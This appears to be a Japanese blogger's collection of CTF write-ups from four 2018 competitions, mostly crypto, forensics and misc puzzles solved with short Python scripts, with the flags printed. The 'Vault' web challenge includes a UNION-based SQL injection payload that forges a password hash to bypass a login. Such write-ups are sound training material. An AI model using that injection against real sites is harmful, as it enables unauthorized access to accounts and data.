STEM CTF: Cyber Challenge 2018 Writeup

この大会は2018/4/21 8:00(JST)~2018/4/22 8:00(JST)に開催されました。
今回もチームで参戦。結果は2600点で229チーム中6位、Professionalでは1位でした。
自分で解けた問題をWriteupとして書いておきます。

Keyboard Shuffle (Crypto 100)

問題の暗号は以下の通り。

Ut awwna U;n cwrt vS r rtoubfm rgBJAB DIE VWUBF AI YBSWEARndubf BTQt~ nxPRTOUBF)UA)ooEWBRKT)Ges{

英語のキーボードで本来の左側を押してしまっていることが多いようだ。
正しくキー操作しているときと、CAPS Lockを押している可能性に気をつける(aを押すべき時にCaps Lock押してしまっているときがある)。特に大文字小文字が入れ替わっているときはaを押している可能性がある。
正しい入力にすると以下のような感じになるはず。

It seems I'm very bad at typing, thanksn for being so understanding anyway! MCA{TYPING_IS_APPARENTLY_HARD}
MCA{TYPING_IS_APPARENTLY_HARD}

Blue Codes of Death (Crypto 200)

FLAGの各文字について以下の処理を行う。

md5(salt + c + idx(0-19))
※saltは2**16未満の数値文字列

このハッシュ値を2バイトごとに青の数値として32x32の画像に入れていく。この処理をFLAG20バイト分行っている。
画像からハッシュ値がわかるので、saltとFLAG文字をブルートフォースで探り当てる。

from PIL import Image
import hashlib

img = Image.open('release.png').convert('RGB')

flag = ''
for i in range(20):
    h = ''
    for y in range(0, 32, 8):
        for x in range(i*32, (i+1)*32, 8):
            r, g, b = img.getpixel((x, y))
            h += '%02x' % b

    found = False
    for salt in range(2**16):
        for code in range(32, 127):
            text = str(salt) + chr(code) + str(i)
            myhash = hashlib.md5(text).hexdigest()
            if myhash == h:
                found = True
                flag += chr(code)
                print chr(code),
                break
        if found:
            break

print
print flag
MCA-27c0384c33a93172

Timisoara CTF 2018 Quals Writeup

この大会は2018/4/14 9:00(JST)~2018/4/21 18:00(JST)に開催されました。
今回もチームで参戦。結果は3181点で442チーム中7位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome (Misc 1)

問題にフラグが書いてある。

timctf{w3lcom3_t0_timctf_2018_quals}

Accord (Misc 5)

Accordの#generalチャネルの名前の横にフラグが書かれている。

timctf{fr33_v01c3_4nd_text_ch4t_f0r_ctfers}

History (Reverse 30)

バイナリエディタで見ると、UNICODEでフラグが記載されている。
f:id:satou-y:20180503214352p:plain

timctf{unic0d3_1s_mr_w0rldw1d3}

Picassor (Forensics 50)

XORキー1文字でjpgのフォーマットに復号する。

with open('unirii_square.jpg', 'rb') as f:
    data = f.read()

key = 0xff ^ ord(data[0])

flag = ''
for i in range(len(data)):
    flag += chr(ord(data[i]) ^ key)

with open('flag.jpg', 'wb') as f:
    f.write(flag)

f:id:satou-y:20180503214711j:plain

timctf{x0r_and_rul3_un1t3_and_l34d}

Strange behavior (Forensics 100)

FTK Imagerで開き、[root]-4_next_lecturesにある、削除済みのschedule.xlsxをエクスポートする。このExcelを開き、F10のセルを見ると、フラグが書いてある。

timctf{d0nt_f0rg3t_t0_h4v3_fun}

Those Are Rookie Numbers (Crypto 30)

nをfactordbで素因数分解する。

p = 176773485669509339371361332756951225661
q = 333197218785800427026869958933009188427

あとはそのまま復号する。

n = 58900433780152059829684181006276669633073820320761216330291745734792546625247
e = 65537
c = 56191946659070299323432594589209132754159316947267240359739328886944131258862
p = 176773485669509339371361332756951225661
q = 333197218785800427026869958933009188427

phi = (p - 1) * (q - 1)

x = 0
while True:
    if (phi * x + 1) % e == 0:
        d = (phi * x + 1) / e
        break
    x = x + 1

m = pow(c, d, n)

flag = ('%x' % m).decode('hex')
print flag
timctf{th0sE_rOoKIe_numB3rz}

Back in Time (Crypto 50)

以下の英小文字だけの換字式暗号を復号する。

hsijhk{Pc3nvO_R4NvwM_1S_Nwh_RArD0M}

timctf{}の形式なり、英文として意味がありそうなように変換する。

暗号	平文
h	t
s	i
i	m
j	c
k	f
c	s
n	u
v	d
w	o
r	n
timctf{Ps3udO_R4NdoM_1S_Not_RAnD0M}

SSS - Part 1 (Crypto 75)

差が同じなので、添付のグラフから考えると、同じ差で1つ目の値から引いたものがフラグになる。

c1 = '4612c90f5d8cd5d616193257336d92af1f66df92443b4ee69f5c885f0173ad80113844e393d194e3'
c2 = '8c25921e46b03e48b7cbe94c3267f41adf618abd16422f660b59df6fae81e8aff2242852be33db49'
c3 = 'd2385b2d2fd3a6bb597ea041316255869f5c35e7e8490fe5775736805b9023dfd3100bc1e89621af'

val1 = int(c1, 16)
val2 = int(c2, 16)
val3 = int(c3, 16)

diff1 = val2 - val1
diff2 = val3 - val2
assert diff1 == diff2

val_flag = val1 - diff1
flag = ('%x' % val_flag).decode('hex')
print flag
timctf{b4s1C_l4gr4ng3_1NTerP0LatioN}

Substitute Teacher (Crypto 100)

換字式暗号。ただし英小文字しか変換されない。小文字部分だけquipqiupを補助的に使って、対応付けをする。

暗号	平文
a	g
b	e
c	t
d	u
e	o
f	c
g	r
h	f
i	i
k	a
l	w
m	m
n	n
o	h
q	k
s	s
t	l
u	b
x	d
y	j
z	p
rev_sub_dict = {
    'a': 'g',
    'b': 'e',
    'c': 't',
    'd': 'u',
    'e': 'o',
    'f': 'c',
    'g': 'r',
    'h': 'f',
    'i': 'i',
    'j': 'x',
    'k': 'a',
    'l': 'w',
    'm': 'm',
    'n': 'n',
    'o': 'h',
    'p': 'v',
    'q': 'k',
    'r': 'y',
    's': 's',
    't': 'l',
    'u': 'b',
    'v': 'z',
    'w': 'q',
    'x': 'd',
    'y': 'j',
    'z': 'p'
}

with open('ciphertext.txt', 'r') as f:
    data = f.read()

plain = ''
for i in range(len(data)):
    if rev_sub_dict.has_key(data[i]):
        plain += rev_sub_dict[data[i]]
    else:
        plain += data[i]

with open('plaintext.txt', 'w') as f:
    f.write(plain)

復号すると、文中にフラグがある。

"She left." Fache glanced out at the darkened hallway. Apparently Sophie had been in no mood to
stop by and chat with the other officers on her way out.

For a moment, Fache considered radioing the guards in the entresol and telling them to stop Sophie
and drag her back up here before she could leave the premises. He thought better of it. That was
only his pride talking... wanting the last word. He'd had enough distractions tonight.

Deal with Agent Neveu later, he told himself, already looking forward to firing her.

Pushing Sophie from his mind, Fache stared for a moment at the miniature knight standing on
Sauniere's desk. Then he turned back to Collet. "Do you have him?"
timctf fr3quencyan4lyS1s1sc0ol
Collet gave a curt nod and spun the laptop toward Fache. The red dot was clearly visible on the
floor plan overlay, blinking methodically in a room marked TOILETTES PUBLIQUES.

"Good," Fache said, lighting a cigarette and stalking into the hall. I've got a phone call to make. Be
damned sure the rest room is the only place Langdon goes."
timctf{fr3quencyan4lyS1s1sc0ol}

Not Your Average RSA (Crypto 100)

nを素因数分解する。

$ python -m primefac 18086135173395641986123054725350673124644081001065528104355398467069161310728333370888782472390469310073117314933010148415971838393130403883412870626619053053672200815153337045022984003065791405742151350233540671714100052962945261324862393058079670757430356345222006961306738393548705354069502196752913415352527
18086135173395641986123054725350673124644081001065528104355398467069161310728333370888782472390469310073117314933010148415971838393130403883412870626619053053672200815153337045022984003065791405742151350233540671714100052962945261324862393058079670757430356345222006961306738393548705354069502196752913415352527: 19459483 18145913 20197313 27409927 22685197 16904777 31696261 18313601 31737131 31881917 18646361 17901463 29511773 21321539 25808239 24525821 20010041 21647243 27138691 33322589 22576643 17673199 27739163 30342329 23554169 21891889 33098557 31703933 17730961 22050221 24996157 25671797 27606707 27289543 28863719 25963459 20390129 24946057 33381329 29488469 20013121 30580789

この結果から、Muti-Prime RSAの復号プログラムを書く。eは通常の65537にした。

import gmpy

def chinese_remainder(n, a):
    sum = 0
    prod = reduce(lambda a, b: a*b, n)

    for n_i, a_i in zip(n, a):
        p = prod / n_i
        sum += a_i * gmpy.invert(p, n_i) * p
    return sum % prod

c = 9074407119435549226216306717104313210750146895081726439798095976354600576814818348656600684713830051655944443364224597709641982342039946659987121376590618828822446965847273448794324003758131816407702456966504389655568712152599077538994030379567217702587542326383955580601916478060973206347266442527564009737910
e = 65537
n = 18086135173395641986123054725350673124644081001065528104355398467069161310728333370888782472390469310073117314933010148415971838393130403883412870626619053053672200815153337045022984003065791405742151350233540671714100052962945261324862393058079670757430356345222006961306738393548705354069502196752913415352527

primes = [
    19459483, 18145913, 20197313, 27409927, 22685197, 16904777, 31696261,
    18313601, 31737131, 31881917, 18646361, 17901463, 29511773, 21321539,
    25808239, 24525821, 20010041, 21647243, 27138691, 33322589, 22576643,
    17673199, 27739163, 30342329, 23554169, 21891889, 33098557, 31703933,
    17730961, 22050221, 24996157, 25671797, 27606707, 27289543, 28863719,
    25963459, 20390129, 24946057, 33381329, 29488469, 20013121, 30580789]

n_ary = []
a_ary = []
for p in primes:
    phi = p - 1
    d = gmpy.invert(e, phi)
    mk = pow(c, d, p)
    n_ary.append(p)
    a_ary.append(mk)

m = chinese_remainder(n_ary, a_ary)
flag = ('%x' % m).decode('hex')
print flag
timctf{mUlt1_PriM3_rS4_c0ULD_B3_DAngEr0us}

Hush Hush (Crypto 150)

inputの2回目は、1回目に入力したものの前に\x00(いくつでもよい)を入力すればよい。
例えば、以下を指定する。

・\x00
・\x00\x00
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('89.38.210.129', 6665))

data = s.recv(256)
print data
data = s.recv(256)

input1 = '\x00'
print data + input1
s.sendall(input1 + '\n')
data = s.recv(256)
input2 = '\x00\x00'
print data + input2
s.sendall(input2 + '\n')
data = s.recv(256)
print data
timctf{d0UbT_3verYTH1nG}

SSS - Part 2 (Crypto 250)

10バイトごとに暗号化。暗号化は以下のような処理。

x = 1の場合
c1 * 1 + c2 * 1^2 + c3 * 1^3 + ... + c12 * 1^12 + flag = y1
x = 2の場合
c1 * 2 + c2 * 2^2 + c3 * 2^3 + ... + c12 * 2^12 + flag = y2
x = 3の場合
c1 * 3 + c2 * 3^2 + c3 * 3^3 + ... + c12 * 3^12 + flag = y3
     :
x = 16の場合
c1 * 16 + c2 * 16^2 + c3 * 16^3 + ... + c12 * 16^12 + flag = y16

10バイトの暗号化間では差はflagの差でしかない。同じxの値では、flag2 - flag1 = y21 - y11
timctf{で始まり}で終わることを条件にブルートフォースで求める。

import itertools

def is_printable(s):
    for i in range(len(s)):
        if ord(s[i]) < 32 or ord(s[i]) > 126:
            return False
    return True

val0_1 = 7714685804569579757659784
val1_1 = 7534756766114272409848924
val3_1 = 7164946524794170391755686

val0_2 = 3547087743966283680068135913
val1_2 = 3546907814927828372720325053
val2_2 = 3547059021367945143469206505

val0_7 = 3756478321347707411745123850684568
val2_7 = 3756478321318984813406587251755160
val3_7 = 3756478320797968131969714484780470

assert val1_1 - val0_1 == val1_2 - val0_2
diff1 = val1_1 - val0_1

assert val2_2 - val0_2 == val2_7 - val0_7
diff2 = val2_2 - val0_2

assert val3_1 - val0_1 == val3_7 - val0_7
diff3 = val3_1 - val0_1

flag_head = 'timctf{'

chars = ''
for code in range(32, 127):
    chars += chr(code)

for c in itertools.product(chars, repeat=3):
    flag0 = flag_head + ''.join(c)
    int_flag0 = int(flag0.encode('hex'), 16)
    int_flag1 = int_flag0 + diff1
    int_flag2 = int_flag0 + diff2
    int_flag3 = int_flag0 + diff3
    hex_flag1 = '%x' % int_flag1
    hex_flag2 = '%x' % int_flag2
    hex_flag3 = '%x' % int_flag3
    if len(hex_flag1) % 2 == 0:
        flag1 = hex_flag1.decode('hex')
        if is_printable(flag1) == False:
            continue
    if len(hex_flag2) % 2 == 0:
        flag2 = hex_flag2.decode('hex')
        if is_printable(flag2) == False:
            continue
    if len(hex_flag3) % 2 == 0:
        flag3 = hex_flag3.decode('hex')
        if is_printable(flag3) == False:
            continue
        if flag3[-1] != '}':
            continue
    flag = flag0 + flag1 + flag2 + flag3
    print flag

候補はたくさん出てくるので、英語の文章になるものをsubmitしていく。

timctf{d0_NOt_R3inV3nT_CrYpt0_Pl34sE}

Feedback (Misc 10)

アンケートに答えて、再度アンケートフォームにアクセスすると、フラグが表示されていた。

timctf{we_hope_it_was_fun_and_youll_be_back_next_year}

WPICTF 2018 Writeup

この大会は2018/4/13 19:00(JST)~2018/4/15 19:00(JST)に開催されました。
今回もチームで参戦。結果は3418点で605チーム中6位でした。
自分で解けた問題をWriteupとして書いておきます。

Read (Misc 1)

問題にフラグが書いてある。

WPI{Hey_You_can_R3AD!}

Discord (Misc 10)

Discordの#discord_chalチャネルの名前の横にフラグが書かれている。

WPI{Welcome_to_Disc0rd_ya-D00fus}

Bitpuzzler (Misc 100)

$ nc bitpuzzler.wpictf.xyz 31337

-----
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>

inline int64_t pmod(int64_t x) {
	int64_t v = x % 13707217;
	if(v < 0)
		return v + 13707217;
	else
		return v;
}

int main(int argc, char** argv) {
	int64_t x;
	scanf("%ld", &x);
	x = pmod(x);
	x = pmod(x - 2765383);
	x = pmod(x - 11088075);
	x = pmod(x - 53063);
	x = pmod(x - 816347);
	x = pmod(x * 12704223);
	x = pmod(x + 6252924);
	x = pmod(x * 6611972);
	x = pmod(x - 11827031);
	x = pmod(x + 11668824);
	x = pmod(x + 5960404);
	x = pmod(x + 3990469);
	x = pmod(x * 4551209);
	x = pmod(x + 8564211);
	x = pmod(x * 10868946);
	x = pmod(x + 13656920);
	x = pmod(x - 6875294);
	x = pmod(x - 5266333);
	x = pmod(x * 12540554);
	x = pmod(x * 6800308);
	x = pmod(x - 10601882);
	x = pmod(x - 13175208);
	x = pmod(x * 8674854);
	x = pmod(x - 1566882);
	x = pmod(x * 8916465);
	x = pmod(x - 12408787);
	x = pmod(x + 6566083);
	x = pmod(x - 12368595);
	x = pmod(x + 7142759);
	x = pmod(x - 5354305);
	x = pmod(x + 3248766);
	x = pmod(x - 3618572);
	x = pmod(x * 7724903);
	x = pmod(x + 706032);
	x = pmod(x - 9001286);
	x = pmod(x + 4888598);
	x = pmod(x - 8634454);
	x = pmod(x * 9733406);
	x = pmod(x + 7802326);
	x = pmod(x * 896038);
	x = pmod(x * 3011522);
	x = pmod(x * 6151929);
	x = pmod(x + 7935015);
	x = pmod(x * 8182226);
	x = pmod(x * 3248703);
	x = pmod(x + 4872711);
	x = pmod(x * 9159476);
	x = pmod(x - 3410508);
	x = pmod(x - 7169804);
	x = pmod(x - 8315);
	x = pmod(x * 3939779);
	x = pmod(x + 3876691);
	x = pmod(x * 4280527);
	x = pmod(x - 13340241);
	x = pmod(x * 8921547);
	x = pmod(x - 10642560);
	x = pmod(x - 9681873);
	x = pmod(x - 3724401);
	x = pmod(x + 1239026);
	x = pmod(x - 3208209);
	x = pmod(x - 3683714);
	x = pmod(x - 13079469);
	x = pmod(x * 9035856);
	x = pmod(x - 6439696);
	x = pmod(x * 5223258);
	x = pmod(x * 4723953);
	x = pmod(x - 10698396);
	x = pmod(x * 6315260);
	x = pmod(x * 10079006);
	x = pmod(x * 6765231);
	x = pmod(x + 8536576);
	x = pmod(x - 11301677);
	x = pmod(x + 8000942);
	x = pmod(x - 715059);
	x = pmod(x - 2200297);
	x = pmod(x * 9906480);
	x = pmod(x - 8854557);
	x = pmod(x * 5166668);
	x = pmod(x - 12459100);
	x = pmod(x - 818574);
	x = pmod(x - 2950323);
	x = pmod(x + 8425982);
	x = pmod(x * 11546411);
	x = pmod(x * 6166679);
	x = pmod(x * 6499675);
	x = pmod(x - 8615247);
	x = pmod(x + 7929113);
	x = pmod(x - 819362);
	x = pmod(x - 469235);
	x = pmod(x + 9436196);
	x = pmod(x * 10904837);
	x = pmod(x + 8443541);
	x = pmod(x + 11542857);
	x = pmod(x + 5018244);
	x = pmod(x * 1102863);
	x = pmod(x * 4817050);
	x = pmod(x + 7730697);
	x = pmod(x + 2374403);
	x = pmod(x * 2486459);
	x = pmod(x * 4797058);
	x = pmod(x * 8426160);
	if(x == 8594918) {
		printf("Success\n");
		return 0;
	} else {
		printf("Failure\n");
		return 1;
	}
}
-----

元のxを算出する問題。modの計算のため、割り算はinverseの計算をする必要がある。このことを考慮して、コードにすると、以下の通り。

import socket
import re

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    g, y, x = egcd(b%a,a)
    return (g, x - (b//a) * y, y)

def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('No modular inverse')
    return x%m

def parse(s):
    ptn = 'x = pmod\(x (.+) (.+)\);'
    m = re.search(ptn, s)
    op = m.group(1)
    num = int(m.group(2))
    return op, num

def minus_mod(a, b, mod):
    return (a - b) % mod

def plus_mod(a, b, mod):
    return (a + b) % mod

def inv_mod(a, b, mod):
    return (a * modinv(b, mod)) % mod

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('bitpuzzler.wpictf.xyz', 31337))

for i in range(82):
    print '**** Round %d ****' % (i+1)
    data = recvuntil(s, '-----\n')
    data += recvuntil(s, '-----\n')
    print data

    lines = data.split('\n')

    ptn = 'int64_t v = x % (.+);'
    m = re.search(ptn, lines[7])
    mod = int(m.group(1))

    ptn = 'if\(x == (.+)\) {'
    m = re.search(ptn, lines[-10])
    res = int(m.group(1))

    formula = lines[17:-10]

    x = res
    for i in range(len(formula) - 1, 0, -1):
        op, num = parse(formula[i])
        if op == '+':
            x = minus_mod(x, num, mod)
        elif op == '-':
            x = plus_mod(x, num, mod)
        elif op == '*':
            x = inv_mod(x, num, mod)

    print x
    s.sendall(str(x) + '\n')
    data = s.recv(256)
    print data

data = s.recv(256)
print data

82回正解すると、フラグが表示された。

WPI{R1NG$_@ND_F13LDS_M@KE_M3_W@NT_T0_D13}

guess5 (Crypto 200)

Submitをクリックしても反応がない。ブラウザのデベロッパーツールで確認すると、jsonをparseできないようなエラーが起きていることがわかる。
ソースを見ると、app.jsで処理が行われているように見える。
app.jsを見ると、以下のような記載があり、Guess6.jsonを参照していることがわかる。

initContract: function() {
    $.getJSON('Guess6.json', function(guess6Artifact) {

https://glgaines.github.io/guess5/Guess6.jsonを見てみる。
bytecodeなどのパラメータの値があるのがわかる。この辺りに暗号のパラメータでもあるのかもしれない。その辺りを読んでいくと、以下のような記述があり、そのままフラグが書いてあった。

  "source": "pragma solidity ^0.4.17;\r\ncontract Guess6 {\r\n    //global variables\r\n    address owner;\r\n    //modifiers\r\n    modifier restricted() {\r\n        require(msg.sender == owner);\r\n        _;\r\n    }\r\n    // initialize\r\n    function Guess6() public {\r\n        owner = msg.sender;\r\n    }\r\n    function kill() public {\r\n        if(msg.sender == owner) selfdestruct(owner);\r\n    }\r\n\r\n    function makeGuessesArray(uint8 guess0, uint8 guess1, uint8 guess2, uint8 guess3, uint8 guess4, uint8 guess5) public view returns(uint[7], string)  {\r\n        uint8[6] memory guesses;\r\n        guesses[0] = guess0;\r\n        guesses[1] = guess1;\r\n        guesses[2] = guess2;\r\n        guesses[3] = guess3;\r\n        guesses[4] = guess4;\r\n        guesses[5] = guess5;\r\n        return createGuesses(guesses);\r\n    }\r\n\r\n    function createGuesses(uint8[6] guesses) public view returns (uint[7], string) {\r\n        uint[7] memory resultArray;\r\n        uint16 adder = guesses[0] + guesses[1] + guesses[2] + guesses[3] + guesses[4] + guesses[5];\r\n        uint16 correctCount = 0;\r\n        string memory result_answer;\r\n\r\n        uint timeNow  = now/100 + adder;\r\n        resultArray[0] = timeNow % 9;\r\n        resultArray[1] = timeNow % 3;\r\n        resultArray[2] = timeNow % 5;\r\n        resultArray[3] = timeNow % 7;\r\n        resultArray[4] = timeNow % 8;\r\n        resultArray[5] = timeNow % 2;\r\n\r\n        resultArray[6] = timeNow;\r\n\r\n        for(uint8 i = 0; i < 6; i++){\r\n            if(resultArray[i] == guesses[i]) {\r\n                correctCount++;\r\n          }\r\n        }\r\n        if (correctCount == guesses.length){\r\n            result_answer = \"you got the Flag:  WPI{All_Hail_The_Mighty_Vitalik}\";\r\n        } else {\r\n            result_answer = \"Try again\";\r\n        }\r\n      return (resultArray, result_answer);\r\n    }\r\n}\r\n",
WPI{All_Hail_The_Mighty_Vitalik}

Dance (Web 150)

$ curl -v https://dance.wpictf.xyz
* Rebuilt URL to: https://dance.wpictf.xyz/
* Hostname was NOT found in DNS cache
*   Trying 35.184.194.215...
* Connected to dance.wpictf.xyz (35.184.194.215) port 443 (#0)
* successfully set certificate verify locations:
*   CAfile: none
  CApath: /etc/ssl/certs
* SSLv3, TLS handshake, Client hello (1):
* SSLv3, TLS handshake, Server hello (2):
* SSLv3, TLS handshake, CERT (11):
* SSLv3, TLS handshake, Server key exchange (12):
* SSLv3, TLS handshake, Server finished (14):
* SSLv3, TLS handshake, Client key exchange (16):
* SSLv3, TLS change cipher, Client hello (1):
* SSLv3, TLS handshake, Finished (20):
* SSLv3, TLS change cipher, Client hello (1):
* SSLv3, TLS handshake, Finished (20):
* SSL connection using ECDHE-RSA-AES128-GCM-SHA256
* Server certificate:
* 	 subject: CN=dance.wpictf.xyz
* 	 start date: 2018-04-15 00:54:53 GMT
* 	 expire date: 2018-07-14 00:54:53 GMT
* 	 subjectAltName: dance.wpictf.xyz matched
* 	 issuer: C=US; O=Let's Encrypt; CN=Let's Encrypt Authority X3
* 	 SSL certificate verify ok.
> GET / HTTP/1.1
> User-Agent: curl/7.35.0
> Host: dance.wpictf.xyz
> Accept: */*
> 
< HTTP/1.1 302 FOUND
* Server nginx/1.13.12 is not blacklisted
< Server: nginx/1.13.12
< Date: Sun, 15 Apr 2018 03:35:14 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 309
< Connection: keep-alive
< Location: https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s
< Set-Cookie: flag=E1KSn2SSktOcG2AeV3WdUQAoj24fm19xVGmomMSoH3SuHEAuG2WxHDuSIF5wIGW9MZx=; Path=/
< Set-Cookie: Julius C.="got good dance moves."; Path=/
< Strict-Transport-Security: max-age=31536000
< 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
* Connection #0 to host dance.wpictf.xyz left intact
<p>You should be redirected automatically to target URL: <a href="https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s">https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s</a>.  If not click the link.

クッキーには以下がセットされている。

flag=E1KSn2SSktOcG2AeV3WdUQAoj24fm19xVGmomMSoH3SuHEAuG2WxHDuSIF5wIGW9MZx=
Julius C.="got good dance moves."

flagはそのままではBase64デコードしても、printableな文字にならない。シーザー暗号と考え、デコードしてWPI{で始まるものを見つける。

$ echo WPI{ | base64
V1BJewo=

https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipher
で復号する。

Rotation 9:
V1BJe2JJbkFtX2RvM3NuLHRfa24wd19oMXdfdDJfY3JlYVRlX2NoYUlJZW5nZXN9DQo=
$ echo V1BJe2JJbkFtX2RvM3NuLHRfa24wd19oMXdfdDJfY3JlYVRlX2NoYUlJZW5nZXN9DQo= | base64 -d
WPI{bInAm_do3sn,t_kn0w_h1w_t2_creaTe_chaIIenges}
WPI{bInAm_do3sn,t_kn0w_h1w_t2_creaTe_chaIIenges}

Vault (Web 200)

ソースを見る。

 <!-- Welcome to the the Fuller Vault
 - clients/clients.db stores authentication info with the following schema:

 CREATE TABLE clients (
   id VARCHAR(255) PRIMARY KEY AUTOINCREMENT,
   clientname VARCHAR(255),
   hash VARCHAR(255),
   salt VARCHAR(255)
 ); -->

<!-- V2hhdD8gWW91IHRob3VnaHQgdGhpcyB3YXMgYSBmbGFnPyBIYSB0aGF0IHdvdWxkIGJlIHRvIGVhc3kuIFRoYXQncyBqdXN0IG5vdCBteSBzdHlsZT8gfiBHb3V0aGFt -->
>>> 'V2hhdD8gWW91IHRob3VnaHQgdGhpcyB3YXMgYSBmbGFnPyBIYSB0aGF0IHdvdWxkIGJlIHRvIGVhc3kuIFRoYXQncyBqdXN0IG5vdCBteSBzdHlsZT8gfiBHb3V0aGFt'.decode('base64')
"What? You thought this was a flag? Ha that would be to easy. That's just not my style? ~ Goutham"

style.cssを見ると、Base64で書かれたコメントが記載されている。

c2VhcmNoID0gIiIiU0VMRUNUIGlkLCBoYXNoLCBzYWx0IEZST00gY2xpZW50cyBXSEVSRSBjbGllbnRuYW1lID0gJ3swfScgTElNSVQgMSIiIi5mb3JtYXQoY2xpZW50bmFtZSkNCnBvaW50ZXIuZXhlY3V0ZShzZWFyY2gpDQoNCiByZXMgPSBwb2ludGVyLmZldGNob25lKCkNCiAgICBpZiBub3QgcmVzOg0KICAgICAgICByZXR1cm4gIk5vIHN1Y2ggdXNlciBpbiB0aGUgZGF0YWJhc2UgezB9IVxuIi5mb3JtYXQoY2xpZW50bmFtZSkNCiAgICB1c2VySUQsIGhhc2gsIHNhbHQgPSByZXMNCg==

Y2FsY3VsYXRlZEhhc2ggPSBoYXNobGliLnNoYTI1NihwYXNzd29yZCArIHNhbHQpDQppZiBjYWxjdWxhdGVkSGFzaC5oZXhkaWdlc3QoKSAhPSBoYXNoOg0KDQoJSW52YWxpZA0K
>>> 'c2VhcmNoID0gIiIiU0VMRUNUIGlkLCBoYXNoLCBzYWx0IEZST00gY2xpZW50cyBXSEVSRSBjbGllbnRuYW1lID0gJ3swfScgTElNSVQgMSIiIi5mb3JtYXQoY2xpZW50bmFtZSkNCnBvaW50ZXIuZXhlY3V0ZShzZWFyY2gpDQoNCiByZXMgPSBwb2ludGVyLmZldGNob25lKCkNCiAgICBpZiBub3QgcmVzOg0KICAgICAgICByZXR1cm4gIk5vIHN1Y2ggdXNlciBpbiB0aGUgZGF0YWJhc2UgezB9IVxuIi5mb3JtYXQoY2xpZW50bmFtZSkNCiAgICB1c2VySUQsIGhhc2gsIHNhbHQgPSByZXMNCg=='.decode('base64')
'search = """SELECT id, hash, salt FROM clients WHERE clientname = \'{0}\' LIMIT 1""".format(clientname)\r\npointer.execute(search)\r\n\r\n res = pointer.fetchone()\r\n    if not res:\r\n        return "No such user in the database {0}!\\n".format(clientname)\r\n    userID, hash, salt = res\r\n'

>>> 'Y2FsY3VsYXRlZEhhc2ggPSBoYXNobGliLnNoYTI1NihwYXNzd29yZCArIHNhbHQpDQppZiBjYWxjdWxhdGVkSGFzaC5oZXhkaWdlc3QoKSAhPSBoYXNoOg0KDQoJSW52YWxpZA0K'.decode('base64')
'calculatedHash = hashlib.sha256(password + salt)\r\nif calculatedHash.hexdigest() != hash:\r\n\r\n\tInvalid\r\n'

passwordとsaltを決めて、hashを計算する。

>>> import hashlib
>>> hashlib.sha256('pass' + 'salt').hexdigest()
'c8b2505b76926abdc733523caa9f439142f66aa7293a7baaac0aed41a191eef6'

以下でログイン

Username
' union select '1', 'c8b2505b76926abdc733523caa9f439142f66aa7293a7baaac0aed41a191eef6', 'salt' --

Password
pass

→Welcome back valid user! Your digital secret is: "https://www.youtube.com/watch?v=dQw4w9WgXcQ"

idを2に変えてみる。

Username
' union select '2', 'c8b2505b76926abdc733523caa9f439142f66aa7293a7baaac0aed41a191eef6', 'salt' --

Password
pass

→Welcome back valid user! Your digital secret is: "WPI{y0ur_fl46_h45_l1k3ly_b31n6_c0mpr0m153d}"
WPI{y0ur_fl46_h45_l1k3ly_b31n6_c0mpr0m153d}

Midnight Sun CTF Quals Writeup

この大会は2018/4/14 19:00(JST)~2018/4/15 19:00(JST)に開催されました。
今回もチームで参戦。結果は110点で221チーム中69位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity check (Misc 10)

Serviceに記載されているkiwiircのページに入ると、フラグが表示された。

midnight{midnightsunctf_2018}

Diary (Misc 50)

gitのファイル群が与えられている。

$ cd .git
$ xxd -g 1 index
0000000: 44 49 52 43 00 00 00 02 00 00 00 02 5a d1 4a 98  DIRC........Z.J.
0000010: 36 bf e7 7c 5a d1 4a 98 36 bf e7 7c 00 00 00 2f  6..|Z.J.6..|.../
0000020: 00 00 0c f0 00 00 81 a4 00 00 00 00 00 00 03 e7  ................
0000030: 00 00 01 db 4b 3c a9 1d 6d db a6 e9 f0 aa bd 33  ....K<..m......3
0000040: c3 6d 2a 4f a7 15 91 ab 00 09 64 69 61 72 79 2e  .m*O......diary.
0000050: 74 78 74 00 5a d1 4a 98 36 ed ba 58 5a d1 4a 98  txt.Z.J.6..XZ.J.
0000060: 36 ed ba 58 00 00 00 2f 00 00 0c f1 00 00 81 a4  6..X.../........
0000070: 00 00 00 00 00 00 03 e7 00 00 00 4f 80 7a 75 19  ...........O.zu.
0000080: 57 53 88 2b 07 b6 9b dd ce d3 fd 82 d3 cc af 9c  WS.+............
0000090: 00 0c 77 69 73 68 6c 69 73 74 2e 74 78 74 00 00  ..wishlist.txt..
00000a0: 00 00 00 00 54 52 45 45 00 00 00 19 00 32 20 30  ....TREE.....2 0
00000b0: 0a b1 f9 65 09 20 92 00 a6 dd a7 ad 4b de b7 02  ...e. ......K...
00000c0: 61 c7 30 ab e2 5b 3d 69 3c fa b4 e8 cf 96 e0 29  a.0..[=i<......)
00000d0: 47 9f 1b 48 08 00 73 80 e2                       G..H..s..

$ python -c 'import zlib; print zlib.decompress(open("objects/4b/3ca91d6ddba6e9f0aabd33c36d2a4fa71591ab").read())'
blob 475Hello!

This is my diary. There are many like it but this one is mine.

April 9th
Today was a good day. I ate some pie.

April 10th
I was a little bit sad today.

April 11th
Today I found a flag, it said: <PAGE TORN HERE> that sounds very interesting.

April 12th
I called my uncle today. He said he read a cool story in the newspaper.

April 13th
Tomorrow is my birthday. I am very excited to see if I get a cake.

April 14th
Woho! Today is my birthday! And we are hacking!


$ python -c 'import zlib; print zlib.decompress(open("objects/80/7a75195753882b07b69bddced3fd82d3ccaf9c").read())'
blob 79~~ My Wishlist ~~
* A dog
* Computer game
* A wolf t-shirt
* Stickers
* Pencil

$ cat refs/heads/master
2fec4e955704bd60292a9f9169f05c3334e555f4

